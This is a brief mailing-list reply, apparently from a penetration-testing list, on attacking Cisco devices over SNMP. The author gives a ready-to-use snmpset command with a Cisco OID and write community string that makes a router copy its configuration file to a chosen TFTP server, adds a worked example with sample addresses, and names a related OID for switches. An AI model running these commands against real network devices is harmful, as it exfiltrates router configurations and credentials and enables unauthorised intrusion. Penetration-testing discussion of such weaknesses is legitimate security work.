Re: [PEN-TEST] Attacking Cisco using SNMP

[Todd Garrison <tgarris () FRAMELOSS ORG>]

An associate of mine found the following a while back, which I am
pretty confident will work with IOS 12:

snmpset <ip addr of router> <write community> \
    .1.3.6.1.4.1.9.2.1.55.<TFTPHOST> s <filename to write on tftp server>

So for example if your tftp server was 192.168.1.2, your router is
192.168.1.1 and your write community was private - then the following
would work by writing the file router in /tftpboot:

snmpset 192.168.1.1 private .1.3.6.1.4.1.9.2.1.55.192.168.1.2 s router

Cisco switches I believe use a slightly different format, which I
don't entirely understand but the OID is: .1.3.6.1.4.1.9.5.1.5.4.0

(I only get message digests, so my apologies to the moderator if this
has already been submitted)

Todd